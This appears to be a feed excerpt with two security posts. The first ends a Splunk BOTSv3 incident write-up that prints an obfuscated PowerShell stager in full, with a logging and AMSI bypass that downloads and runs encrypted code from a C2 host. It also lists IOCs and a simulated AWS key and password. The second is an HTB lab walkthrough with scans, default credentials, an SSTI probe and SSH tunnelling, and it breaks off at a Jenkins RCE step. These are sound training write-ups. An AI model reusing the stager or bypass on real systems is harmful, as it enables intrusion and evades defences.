src="https://cdn-images-1.medium.com/max/1024/1*Z0lVe6mTOfk66hvoX6M-Iw.png" /></figure><p>— -</p><p>Data Exfiltration</p><p>Q311: Customer Data Breach Quantification</p><p><strong>Question</strong>: The Taedonggang adversary sent Grace Hoppy an email bragging about the successful exfiltration of customer data. How many Frothly customer emails were exposed or revealed?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 <a href="/service/mailto:hyunki1984@naver.com">hyunki1984@naver.com</a> sourcetype=”stream:smtp”<br>```</blockquote><p><strong>Answer</strong>: 8 customer emails</p><p><strong>Analysis</strong>: The adversary communicated using a Naver.com email address (<a href="/service/mailto:hyunki1984@naver.com">hyunki1984@naver.com</a>), consistent with North Korean threat actor infrastructure. The email to Grace Hoppy contained evidence of data exfiltration affecting 8 Frothly customers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*5FyVTi4cxtkQwlukATc4Ow.png" /></figure><p>— -</p><p>Command and Control Infrastructure</p><p>Q312: C2 Communication Path Analysis</p><p><strong>Question</strong>: What is the path of the URL being accessed by the command and control server?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=”botsv3&quot; sourcetype=”wineventlog:microsoft-windows-powershell/operational”<br>```</blockquote><p><strong>PowerShell Payload Analysis</strong>:</p><p>The investigation revealed a sophisticated PowerShell-based C2 beacon with multiple anti-detection features:</p><blockquote>```powershell<br>if((Get-PSVersionTable.PSVersion.MAJOR -ge 3)){$GPF=[ref].Assembly.GetType(‘System.Management.Automation.Utils’).”GetFIel`d”(‘cachedGroupPolicySettings’,’NonPublic,Static’);IF($GPF){$GPC=$GPF.GEtVAlue($null);If($GPC[‘ScriptBlockLogging’]){$GPC[‘ScriptBlockLogging’][‘EnableScriptB`lockLogging’]=0;$GPC[‘ScriptB`lockLogging’][‘EnableScriptBlockInvocationLogging’]=0}$val=[CollectioNS.GeNeRIC.DicTIonARy[STring,SYStEM.OBjeCT]]::NeW();$vaL.AdD(‘EnableScriptB`lockLogging’,0);$val.AdD(‘EnableScriptBlockInvocationLogging’,0);$GPC[‘HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB`lockLogging’]=$VAl}Else{[SCRIPTBLOCK].”GetField”(‘signatures’,’NonPublic,Static’).SetVALuE($NUll,(NEw-OBJEcT cOLLEcTIONs.GenERiC.HAshSET[sTRinG]))}$ReF=[REF].ASSEMBly.GeTTYpe(‘System.Management.Automation.AmsiUtils’);$ReF.GeTFiElD(‘amsiInitFailed’,’NonPublic,Static’).SeTVaLuE($nULL,$tRUe);};[SYsTEM.NET.SERVICEPOINTMANAGER]::EXpecT100COntinUE=0;$wC=New-OBJEcT SYSTem.NET.WebCLiENT;$u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko’;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HEAdErS.AdD(‘User-Agent’,$u);$Wc.HEadERS.AdD(‘User-Agent’,$u);$Wc.PrOxy=[SyStEm.NEt.WeBReQUESt]::DefAUlTWEbPrOxy;$WC.ProXY.CRedeNTiAls = [SYsTem.NEt.CredeNTiALCacHe]::DefauLTNEtWorkCrEDentials;$Script:Proxy = $wc.Proxy;$K=[SYsTEM.TeXt.EnCOdinG]::ASCII.GeTBYtES(‘1AB&lt;Yk6Z4#+vVu%o5}8&amp;M-9UL~l|&gt;=0gP’);$R={$D,$K=$ARgs;$S=0..255;0..255|%{ $J=($J+$S[$_]+$K[$_%$K.COunt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXOR$S[(($S[$I]+$S[$H])%256)]}};$ser=$( [TeXT.EncOdIng]::UnICODE.GEtSTrinG([ConvERt]::FrOmBAsE64StriNG(‘aAB0AHQAeQBhAcABzAEaAdAoALwAvAvAAvAQAvAQAuADcAAvAAduAAuAUAvAUDEA’)) );$t=’/admin/get.php’;$wC.HEaDErS.AdD(“Cookie”,”PtHAVgs=hB2H0GTIPwxCeLhGe/fLkfBPCdI=”);$datA=$wC.DOwnlOAdDAtA($sEr+$t);$iv=$dATA[0..3];$DatA=$dATA[4..$DatA.lENGTH];-join[ChAr[]](&amp; $R $DatA ($IV+$K))|IEX<br>```</blockquote><p><strong>Answer</strong>: /admin/get.php</p><p><strong>Technical Analysis</strong>:</p><p><strong>Anti-Detection Mechanisms</strong>:</p><p>1. <strong>Script Block Logging Bypass</strong>: Disables PowerShell’s script block logging feature<br>2. <strong>AMSI Bypass</strong>: Defeats Antimalware Scan Interface (AMSI) by setting `amsiInitFailed` to true<br>3. <strong>Obfuscation</strong>: Heavy use of case variation and backtick character escapes</p><p><strong>C2 Communication Components</strong>:</p><p>- <strong>Encoded Server</strong>: Base64-decoded to reveal C2 server address<br>- <strong>URL Path</strong>: `/admin/get.php`<br>- <strong>Cookie Header</strong>: `PtHAVgs=hB2H0GTIPwxCeLhGe/fLkfBPCdI=`<br>- <strong>Encryption Key</strong>:`1AB&lt;Yk6Z4#+vVu%o5}8&amp;M-9UL~l|&gt;=0gP`<br>- <strong>User Agent</strong>: `Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko`</p><p><strong>Encryption Scheme</strong>: RC4-like stream cipher implementation for payload encryption/decryption</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WcWux965XHq1etBhrVZ5hg.png" /></figure><p>— -</p><p>Q313: Compromised Endpoint Inventory</p><p><strong>Question</strong>: At least two Frothly endpoints contact the adversary’s command and control infrastructure. What are their short hostnames?</p><p><strong>Query</strong>:</p><blockquote>```spl<br>index=botsv3 admin/get.php<br>```</blockquote><p><strong>Answer</strong>:</p><p>1. ABUNGST-L<br>2. FYODOR-L</p><p>**Analysis:** Both endpoints established C2 communication, indicating successful compromise and beacon installation. This multi-endpoint compromise demonstrates the adversary’s lateral movement capabilities within the Frothly network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tbi-84rjDJ0ZFJjNXGPWGg.png" /></figure><p>— -</p><p>Indicators of Compromise (IOCs)</p><p>Network Indicators</p><p><strong>Command and Control</strong>:</p><p>- <strong>C2 Server</strong>: 45.77.65.211 (decoded from Base64)<br>- <strong>C2 URI Path</strong>: /admin/get.php<br>- <strong>C2 Ports</strong>: 3333 (tool download), 1337 (netcat backdoor)<br>- <strong>Cookie Header</strong>: PtHAVgs=hB2H0GTIPwxCeLhGe/fLkfBPCdI=</p><p><strong>Adversary Email</strong>:</p><p>- <a href="/service/mailto:hyunki1984@naver.com">hyunki1984@naver.com</a> (Taedonggang group)</p><p><strong>User Agent Strings</strong>:</p><p>- `Mozilla/5.0 (X11; U; Linux i686; ko-KP; rv: 19.1br) Gecko/20130508 Fedora/1.9.1–2.5.rs3.0 NaenaraBrowser/3.5b4`<br>- `Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko`<br>- `ElasticWolf/5.1.6`</p><p>File Indicators</p><p><strong>Malicious Files</strong>:</p><p>- Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm (W97M.Empstage)<br>- HxTsr.exe<br>- hdoor.exe (MD5: 586EF56F4D8963DD546163AC31C865D7)<br>- logos.png (attack tool package)<br>- OPEN_BUCKET_PLEASE_FIX.txt<br>- /tmp/definitelydontinvestigatethisfile.sh<br>- /tmp/colonel</p><p><strong>File Paths</strong>:</p><p>- C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.10228.20127.0_x64__8wekyb3d8bbwe\HxTsr.exe<br>- C:\Windows\Temp\hdoor.exe</p><p>Host Indicators</p><p><strong>Compromised Endpoints</strong>:</p><p>- BSTOLL-L (Windows Enterprise — S3 exposure, cryptocurrency mining)<br>- FYODOR-L (C2 communication, network scanning)<br>- ABUNGST-L (C2 communication)<br>- hoth (Linux server — unauthorized user creation)</p><p><strong>Unauthorized User Accounts</strong>:</p><p>- tomcat7 (Linux — UID 0, password: ilovedavidverve)<br>- svcvnc (Windows — Administrators group)</p><p><strong>Process Indicators</strong>:</p><p>- Netcat (PID: 14356, listening on port 1337)<br>- Multiple processes at 100% CPU (cryptocurrency mining)</p><p>Credential Compromise</p><p><strong>AWS Access Keys</strong>:</p><p>- <strong>Access Key ID</strong>: AKIAJOGCDXJ5NW5PXUPA<br>- <strong>Secret Access Key</strong>: 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<br>- <strong>Leaked Location</strong>: <a href="https://github.com/FrothlyBeers/BrewingIOT/blob/e4a98cc997de12bb7a59f18aea207a28bcec566c/MyDocuments/aws_credentials.bak">https://github.com/FrothlyBeers/BrewingIOT/blob/e4a98cc997de12bb7a59f18aea207a28bcec566c/MyDocuments/aws_credentials.bak</a></p><p><strong>Affected AWS Resources</strong>:</p><p>- S3 Bucket: frothlywebcode (publicly accessible)<br>- IAM User: web_admin</p><p>Malware Signatures</p><p><strong>Symantec Endpoint Protection</strong>:</p><p>- CIDS Signature ID: 30358<br>- Threat Name: JSCoinminer Download 8<br>- Severity: Medium</p><p>— -</p><p>Attack Chain Reconstruction</p><p>MITRE ATT&amp;CK Framework Mapping</p><p>1. Initial Access (TA0001)</p><p>- <strong>T1566.001 — Phishing: Spearphishing Attachment<br></strong> — Macro-enabled Excel document (Frothly-Brewery-Financial-Planning-FY2019-Draft.xlsm)<br> — Social engineering with financial planning theme</p><p>2. Execution (TA0002)</p><p>- <strong>T1204.002 — User Execution: Malicious File</strong><br> — Macro execution triggering W97M.Empstage malware<br>-<strong> T1059.001 — Command and Scripting Interpreter: PowerShell</strong><br> — Obfuscated PowerShell C2 beacon</p><p>3. Persistence (TA0003)</p><p>- <strong>T1136.001 — Create Account: Local Account</strong><br> — Linux: tomcat7 (root privileges)<br> — Windows: svcvnc (Administrators group)<br>- <strong>T1547 — Boot or Logon Autostart Execution</strong><br> — Service account creation for persistent access</p><p>4. Privilege Escalation (TA0004)</p><p>- <strong>T1078 — Valid Accounts</strong><br> — Created accounts with administrative privileges<br> — Root-level access on Linux systems</p><p>5. Defense Evasion (TA0005)</p><p>- <strong>T1562.001 — Impair Defenses: Disable or Modify Tools</strong><br> — PowerShell logging bypass<br> — AMSI bypass techniques<br>- <strong>T1036 — Masquerading</strong><br> — HxTsr.exe in legitimate application directory<br> — logos.png disguising attack tools<br>- <strong>T1027 — Obfuscated Files or Information</strong><br> — Base64 encoding of C2 server<br> — RC4 encryption of C2 communications</p><p>6. Credential Access (TA0006)</p><p>- <strong>T1552.001 — Unsecured Credentials: Credentials in Files</strong><br> — AWS credentials committed to public GitHub repository</p><p>7. Discovery (TA0007)</p><p>- <strong>T1087 — Account Discovery</strong><br> — AWS IAM enumeration attempts<br>- <strong>T1018 — Remote System Discovery</strong><br> — Network scanning with HDoor tool (192.168.9.1–50)</p><p>8. Lateral Movement (TA0008)</p><p>- <strong>T1021 — Remote Services</strong><br> — Multi-platform compromise (Windows/Linux)<br> — VNC service account creation</p><p>9. Collection (TA0009)</p><p>- <strong>T1114 — Email Collection</strong><br> — 8 customer emails collected</p><p>10. Command and Control (TA0011)</p><p>- <strong>T1071.001 — Application Layer Protocol: Web Protocols</strong><br> — HTTP-based C2 communication (/admin/get.php)<br>-<strong> T1573.001 — Encrypted Channel: Symmetric Cryptography</strong><br> — RC4-encrypted payload delivery<br>- <strong>T1090 — Proxy</strong><br> — System proxy credential utilization</p><p>11. Exfiltration (TA0010)</p><p>- <strong>T1041 — Exfiltration Over C2 Channel</strong><br> — Customer data exfiltration via established C2</p><p>12. Impact (TA0040)</p><p>- <strong>T1496 — Resource Hijacking</strong><br> — Monero cryptocurrency mining operations<br>- <strong>T1485 — Data Destruction</strong><br> — Potential data loss from S3 bucket exposure</p><p>— -</p><p>Appendices</p><p>Appendix A: Tool Reference</p><p><strong>Splunk Query Techniques Used:</strong></p><p>- Stats and dedup for data aggregation<br>- Time-based sorting for chronological analysis<br>- Field extraction from nested JSON structures<br>- Cross-sourcetype correlation<br>- Regular expression pattern matching</p><p><strong>Data Sources Leveraged</strong>:</p><p>- AWS CloudTrail logs<br>- Windows Event Logs (Security, Sysmon, PowerShell)<br>- Stream data (SMTP, HTTP, TCP)<br>- O365 Management API logs<br>- Performance monitoring data<br>- Symantec Endpoint Protection logs<br>- OSQuery results</p><p>Appendix B: References</p><p>- [AWS CloudTrail Documentation](<a href="https://docs.aws.amazon.com/cloudtrail/">https://docs.aws.amazon.com/cloudtrail/</a>)<br>- [MITRE ATT&amp;CK Framework](<a href="https://attack.mitre.org/">https://attack.mitre.org/</a>)<br>- [Broadcom Security Center](<a href="https://www.broadcom.com/support/security-center">https://www.broadcom.com/support/security-center</a>)<br>- [Splunk Boss of the SOC v3 Dataset](<a href="https://github.com/splunk/botsv3">https://github.com/splunk/botsv3</a>)<br>- [PowerShell AMSI Bypass Techniques](<a href="https://www.microsoft.com/security/blog/">https://www.microsoft.com/security/blog/</a>)</p><p>Appendix C: Investigation Team</p><p><strong>Report Prepared By</strong>: Security Operations Center <br><strong>Investigation Date</strong>: November 8, 2025 <br><strong>Dataset</strong>: Splunk Boss of the SOC v3 (BOTSv3) <br><strong>Report Version</strong>: 1.0</p><p>— -</p><p>_This report is based on analysis of the BOTSv3 dataset and represents a comprehensive investigation of simulated security incidents for training and educational purposes._</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e69446603f6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: The Starting Point- PJPT prep (part2)]]></title>
            <link>https://medium.com/@azizfadhel77/htb-the-starting-point-pjpt-prep-part2-077a4d6aba34?source=rss-2ee77b03e3e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/077a4d6aba34</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tcm-security]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[pjpt]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[MoFahdel]]></dc:creator>
            <pubDate>Sun, 08 Sep 2024 20:17:35 GMT</pubDate>
            <atom:updated>2024-09-08T20:17:35.086Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mfxp9eTO4BotN1TGWkIOxQ.jpeg" /></figure><p>Next machine is <strong>Ignition</strong><br>Nmap scan as usual</p><pre>```bash<br>└──╼ [★]$ nmap -sC -sV -PN -p- 10.129.146.80<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 13:50 CDT<br>Nmap scan report for 10.129.146.80<br>Host is up (0.013s latency).<br>Not shown: 65534 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>80/tcp open  http    nginx 1.14.2<br>|_http-title: Did not follow redirect to http://ignition.htb/<br>|_http-server-header: nginx/1.14.2<br><br>```</pre><p>→ sudo your /etc/hosts and add the name service</p><p>directory bruteforcing will show us the login page for the CMS Magento</p><pre>```bash<br>└──╼ [★]$ gobuster dir -u http://ignition.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t4 <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://ignition.htb<br>[+] Method:                  GET<br>[+] Threads:                 4<br>[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/contact              (Status: 200) [Size: 28673]<br>/home                 (Status: 200) [Size: 25802]<br>/media                (Status: 301) [Size: 185] [--&gt; http://ignition.htb/media/]<br>/0                    (Status: 200) [Size: 25803]<br>/catalog              (Status: 302) [Size: 0] [--&gt; http://ignition.htb/]<br>/static               (Status: 301) [Size: 185] [--&gt; http://ignition.htb/static/]<br>/admin                (Status: 200) [Size: 7095]<br>/Home                 (Status: 301) [Size: 0] [--&gt; http://ignition.htb/home]<br>```</pre><p>A few googling for weak credentials will get us the password of the admin user <strong>qwerty123</strong></p><p>The next machine is <strong>Bike</strong>, The nmap scan presents 2 open ports:<br>80 and 22, port 80 has node.js running on it.</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4   10.129.11.139 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-15 21:20 CET<br>Nmap scan report for 10.129.11.139<br>Host is up (0.29s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)<br>|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)<br>|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)<br>80/tcp open  http    Node.js (Express middleware)<br>|_http-title:  Bike <br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 48.81 seconds<br>```</pre><p>This is an introduction to the server side template injection attack (SSTI)<br>Reading this<br><a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection</a><br>and posting ${{7*7}} will generate an error message</p><pre>```error<br>Error: Parse error on line 1:<br>${{7*7}}<br>---^<br>Expecting &#39;ID&#39;, &#39;STRING&#39;, &#39;NUMBER&#39;, &#39;BOOLEAN&#39;, &#39;UNDEFINED&#39;, &#39;NULL&#39;, &#39;DATA&#39;, got &#39;INVALID&#39;<br>    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)<br>    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)<br>```</pre><p><a href="https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html">https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html</a><br>Reading this is very informative, however, if we use the payload in hacktricks we get an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H6MH2H8HaxJ5ajtkYTmbEA.png" /></figure><p>so require is not a global environment variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*WyXb0oPIoS3-E9apYFl_lg.png" /></figure><p>we can bypass it using this <br><a href="https://www.geeksforgeeks.org/node-js-process-mainmodule-property/">https://www.geeksforgeeks.org/node-js-process-mainmodule-property</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPmHDEy-eFsW1sBcw6N0cw.png" /></figure><p>Next machine is <strong>Funnel</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4  10.129.42.122 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 20:48 CET<br>Nmap scan report for 10.129.42.122<br>Host is up (0.30s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.10.16.19<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 3<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)<br>|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)<br>|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 45.98 seconds<br>```</pre><p>delving into the ftp repository will get us two files</p><pre>```bash<br>└─$ ftp 10.129.42.122<br>Connected to 10.129.42.122.<br>220 (vsFTPd 3.0.3)<br>Name (10.129.42.122:kali): anonymous<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||13159|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 .<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 ..<br>drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup<br>226 Directory send OK.<br>ftp&gt; cd mail_backup<br>250 Directory successfully changed.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||24205|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 .<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 ..<br>-rw-r--r--    1 ftp      ftp         58899 Nov 28  2022 password_policy.pdf<br>-rw-r--r--    1 ftp      ftp           713 Nov 28  2022 welcome_28112022<br>226 Directory send OK.<br>ftp&gt; get password_policy.pdf <br>local: password_policy.pdf remote: password_policy.pdf<br>229 Entering Extended Passive Mode (|||42820|)<br>150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).<br>100% |***********************************| 58899       95.84 KiB/s    00:00 ETA<br>226 Transfer complete.<br>58899 bytes received in 00:00 (75.42 KiB/s)<br>gftp&gt; get wecome_28112022<br>local: welcome_28112022 remote: welcome_28112022<br>229 Entering Extended Passive Mode (|||17913|)<br>150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).<br>100% |***********************************|   713        1.12 MiB/s    00:00 ETA<br>226 Transfer complete.<br>713 bytes received in 00:00 (2.33 KiB/s)<br>ftp&gt; <br><br>``````bash<br>└─$ ftp 10.129.42.122<br>Connected to 10.129.42.122.<br>220 (vsFTPd 3.0.3)<br>Name (10.129.42.122:kali): anonymous<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||13159|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 .<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 ..<br>drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup<br>226 Directory send OK.<br>ftp&gt; cd mail_backup<br>250 Directory successfully changed.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||24205|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 .<br>drwxr-xr-x    3 ftp      ftp          4096 Nov 28  2022 ..<br>-rw-r--r--    1 ftp      ftp         58899 Nov 28  2022 password_policy.pdf<br>-rw-r--r--    1 ftp      ftp           713 Nov 28  2022 welcome_28112022<br>226 Directory send OK.<br>ftp&gt; get password_policy.pdf <br>local: password_policy.pdf remote: password_policy.pdf<br>229 Entering Extended Passive Mode (|||42820|)<br>150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).<br>100% |***********************************| 58899       95.84 KiB/s    00:00 ETA<br>226 Transfer complete.<br>58899 bytes received in 00:00 (75.42 KiB/s)<br>gftp&gt; get wecome_28112022<br>local: welcome_28112022 remote: welcome_28112022<br>229 Entering Extended Passive Mode (|||17913|)<br>150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).<br>100% |***********************************|   713        1.12 MiB/s    00:00 ETA<br>226 Transfer complete.<br>713 bytes received in 00:00 (2.33 KiB/s)<br>ftp&gt; <br><br>```</pre><p>Reading the password policy will get us the default password that should be changed when a new user is added <strong>funnel123#!#</strong><br>Reading the welcome email we can deduce that a new user <strong>christine</strong> was added to the funnel team.<br>We have a user and password potentially we only need the service to login to <strong>SSH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xInxstBFqc2Z-LBhiwsQXQ.png" /></figure><p>running the <strong>netstat -aon </strong>will get us</p><pre>```bash<br>christine@funnel:~$ netstat -aon<br>Active Internet connections (servers and established)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer<br>tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:35235         0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      1 10.129.42.122:43066     8.8.8.8:53              SYN_SENT    on (0.50/2/0)<br>tcp        0    216 10.129.42.122:22        10.10.16.19:60454       ESTABLISHED on (0.59/0/0)<br>tcp6       0      0 :::21                   :::*                    LISTEN      off (0.00/0/0)<br>tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)<br>udp        0      0 127.0.0.1:35466         127.0.0.53:53           ESTABLISHED off (0.00/0/0)<br>udp        0      0 127.0.0.53:53           0.0.0.0:*                           off (0.00/0/0)<br>udp        0      0 0.0.0.0:68              0.0.0.0:*                           off (0.00/0/0)<br>```</pre><p>we can see a strange service running on an internal port 5432, executing <strong>ss -tl</strong> cmmand we get</p><pre>```bash<br>christine@funnel:~$ ss -tl <br>State       Recv-Q      Send-Q             Local Address:Port                   Peer Address:Port      Process      <br>LISTEN      0           4096               127.0.0.53%lo:domain                      0.0.0.0:*                      <br>LISTEN      0           128                      0.0.0.0:ssh                         0.0.0.0:*                      <br>LISTEN      0           4096                   127.0.0.1:postgresql                  0.0.0.0:*                      <br>LISTEN      0           4096                   127.0.0.1:35235                       0.0.0.0:*                      <br>LISTEN      0           32                             *:ftp                               *:*                      <br>LISTEN      0           128                         [::]:ssh                            [::]:*  <br>```</pre><p>we have PostgreSQL running locally<br>since we can’t interact with the service, since psql isn’t installed, we need to do it via <strong>port forwarding</strong>, picture it as ssh forwarding our commands to the internal postgres server.<br><a href="https://iximiuz.com/en/posts/ssh-tunnels/">https://iximiuz.com/en/posts/ssh-tunnels/</a><br><strong>ssh -L 1234:localhost:5432 christine@10.129.42.122</strong> this command will forward the traffic from the local port <strong>1234</strong> to the service postgres running on 5432 in our target machine using ssh tunneling</p><p>next we need to connect to the postgres service as christine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4ScNtF3vTHjFDESAPTTRA.png" /></figure><p>we list the databases using <strong>\l</strong></p><pre>```bash<br>                                                  List of databases<br>   Name    |   Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |    Access privileges    <br>-----------+-----------+----------+------------+------------+------------+-----------------+-------------------------<br> christine | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | <br> postgres  | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | <br> secrets   | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | <br> template0 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +<br>           |           |          |            |            |            |                 | christine=CTc/christine<br> template1 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +<br>           |           |          |            |            |            |                 | christine=CTc/christine<br>(5 rows)<br><br>```</pre><p>the database we want to use is secrets, after listing all the tables using <strong>select tablename from pg_tables ;</strong></p><pre>```bash<br>secrets=# select * from flag;<br> cf277664b1771217d7006acdea006db1<br><br>secrets=# <br>```</pre><p>The next machine is <strong>Pennywise</strong><br>Nmap scan</p><pre>```bash<br>└─$ nmap -sC -sV -PN -T4 10.129.37.128 <br>Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 18:59 CET<br>Nmap scan report for 10.129.37.128<br>Host is up (0.24s latency).<br>Not shown: 999 closed tcp ports (conn-refused)<br>PORT     STATE SERVICE VERSION<br>8080/tcp open  http    Jetty 9.4.39.v20210325<br>|_http-server-header: Jetty(9.4.39.v20210325)<br>|_http-title: Site doesn&#39;t have a title (text/html;charset=utf-8).<br>| http-robots.txt: 1 disallowed entry <br>|_/<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 43.44 seconds<br>```</pre><p>This was found in the robots.txt — # we don’t want robots to click “build” links<br>User-agent: *<br>Disallow: /</p><p>fuzzing with fuff will give us the administrative login panel of jenkins</p><pre>```bash<br>─$ ffuf -u http://10.129.37.128:8080/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200<br><br>[Status: 200, Size: 6503, Words: 231, Lines: 7, Duration: 195ms]<br>    * FUZZ: oops<br><br>```</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y8YshBoqE7oxrKwfngw6cg.png" /></figure><p>In the bottom right corner we will find the version running of jenkins <strong>Jenkins 2.289.1</strong></p><p>Using common web credentials we can login with <strong>root/password</strong><br>The idea is to use jenkins groovy script which act as cmd.exe equivalent in windows to run arbitrary code, let’s proceed with that <br>If we search RCE with a groovy script we can find <br><a 